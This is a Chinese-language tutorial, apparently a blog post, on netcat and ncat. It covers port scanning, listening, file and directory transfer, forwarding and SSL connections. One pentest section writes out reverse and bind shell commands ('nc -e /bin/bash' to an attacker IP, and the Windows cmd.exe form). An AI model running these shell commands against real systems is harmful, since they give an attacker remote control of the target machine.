NC命令详解

该文章已生成可运行项目,

Netcat(简称 nc)被称为“网络瑞士军刀”,支持 TCP/UDP 端口扫描、数据传输、端口监听、代理转发 等功能。

语法
nc [选项] [目标IP] [端口]

# 常用命令参数

(1)连接与扫描

参数说明示例
-zv扫描端口(不发送数据)nc -zv 192.168.1.1 80
-w设置超时时间(秒)nc -w 3 192.168.1.1 22
-u使用UDP协议(默认TCP)nc -u 192.168.1.1 53

(2)监听模式

参数说明示例
-l监听模式(服务端)nc -l 8080
-p指定监听端口nc -l -p 9000
-k保持监听(允许多次连接)nc -lk 8080

(3)数据传输

参数说明示例
-n禁用DNS解析(纯IP模式)nc -n 192.168.1.1 80
-v显示详细输出(Verbose)nc -v example.com 443
-e执行命令(危险!)nc -l -p 4444 -e /bin/bash

(4)文件传输

参数说明示例
-q传输后断开(配合重定向)nc -q 1 192.168.1.1 1234 < file.txt
-N发送EOF后关闭连接nc -N 192.168.1.1 1234 < file.txt

# 实用案例

(1)端口扫描

nc -zv 192.168.1.1 20-80  # 扫描20-80端口
nc -zv example.com 22 80 443  # 检查多个端口

(2)监听端口(接收数据)

nc -l -p 8080  # 监听8080端口(TCP)
nc -lu 8080    # 监听UDP端口

(3)发送HTTP请求

echo -e "GET / HTTP/1.1\nHost: example.com\n\n" | nc example.com 80

(4)文件传输

发送文件(服务端监听,客户端发送):

# 接收端(服务端)
nc -l -p 1234 > received_file.txt

# 发送端(客户端)
nc -N 192.168.1.1 1234 < send_file.txt

(5)反向Shell(渗透测试)

# 攻击机监听
nc -lvnp 4444

# 目标机连接(Linux)
nc -e /bin/bash 192.168.1.100 4444

# Windows(需nc版本支持)
nc.exe 192.168.1.100 4444 -e cmd.exe

# 高级用法

(1)端口转发(代理)

nc -l -p 8080 | nc 192.168.1.2 80  # 将本地8080转发到192.168.1.2:80

(2)聊天室(双机通信)

# 主机A(监听)
nc -l -p 9999

# 主机B(连接)
nc 192.168.1.1 9999

(3)测试UDP服务(如DNS)

nc -u 8.8.8.8 53  # 手动输入DNS查询数据

  • -e 参数可能被滥用(反向Shell),生产环境禁用。

  • 数据传输不加密,敏感操作建议用 ncat(SSL支持)或 SSH

# ncat 命令详解

工具开发者维护状态特点
netcat原始版本(Hobbit)已停止维护经典、轻量,但功能有限
ncatNmap 团队活跃维护增强版,支持SSL、IPv6、多线程等

功能netcat (nc)ncat
加密支持❌ 明文传输✅ SSL/TLS 加密
IPv6部分版本支持✅ 完整支持
多线程/并发连接❌ 单线程✅ 支持多线程
代理转发基础TCP/UDP转发✅ 支持HTTP/SOCKS代理
连接超时控制有限支持(-w 参数)✅ 更精细的超时设置
命令执行(-e)部分版本支持✅ 支持,且更安全
数据持久化❌ 连接断开后数据丢失✅ 支持数据缓存和重传

(1)netcat(nc)的适用场景

  • 快速端口扫描

    nc -zv 192.168.1.1 20-80
  • 简易文件传输

    # 接收端
    nc -l -p 1234 > file.txt
    
    # 发送端
    nc 192.168.1.1 1234 < file.txt
  • 临时网络调试(如HTTP请求测试):

    echo "GET / HTTP/1.1" | nc example.com 80

(2)ncat 的增强功能

  • 加密通信(SSL)

    # 服务端(监听加密端口)
    ncat -l 443 --ssl
    
    # 客户端(连接)
    ncat --ssl 192.168.1.1 443
  • 多客户端并发处理

    ncat -l 8080 --keep-open --allow 192.168.1.0/24
  • 通过代理连接

    ncat --proxy-type http --proxy 1.2.3.4:8080 example.com 80

#  文件传输案例

# 传输文件
# 情况1
# 接收方
# 监听9995端口接收到的数据都写到file文件里
nc -l 9995 >zabbix.rpm


# 发送方
# 往B机器的9995端口发送数据,把下面文件送过去
nc 10.0.1.162 9995 < 1.txt


# 情况2
# 发送方
# 通过本地的9992端口发送1.txt文件
nc -l 9992 <1.txt


# 接收方
# 通过连接B机器的9992端口接收文件,并把文件存到本目录下,文件名为2.txt
nc 10.0.1.162 9992 >test2.mv

# 情况3 
# 传输文件夹
# A机器给B机器发送多个文件,传输目录需要结合其它的命令,比如tar
# 管道后面最后必须是 - ,不能是其余自定义的文件名
# B机器开启监听
nc -l 9995 | tar xfvz -


# A机器打包文件并连接B机器的端口
# 管道前面表示把当前目录的所有文件打包为 - ,然后使用nc发送给B机器
tar cfz - * | nc 10.0.1.162 9995


# B机器自动接收和解压


本文章已经生成可运行项目
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值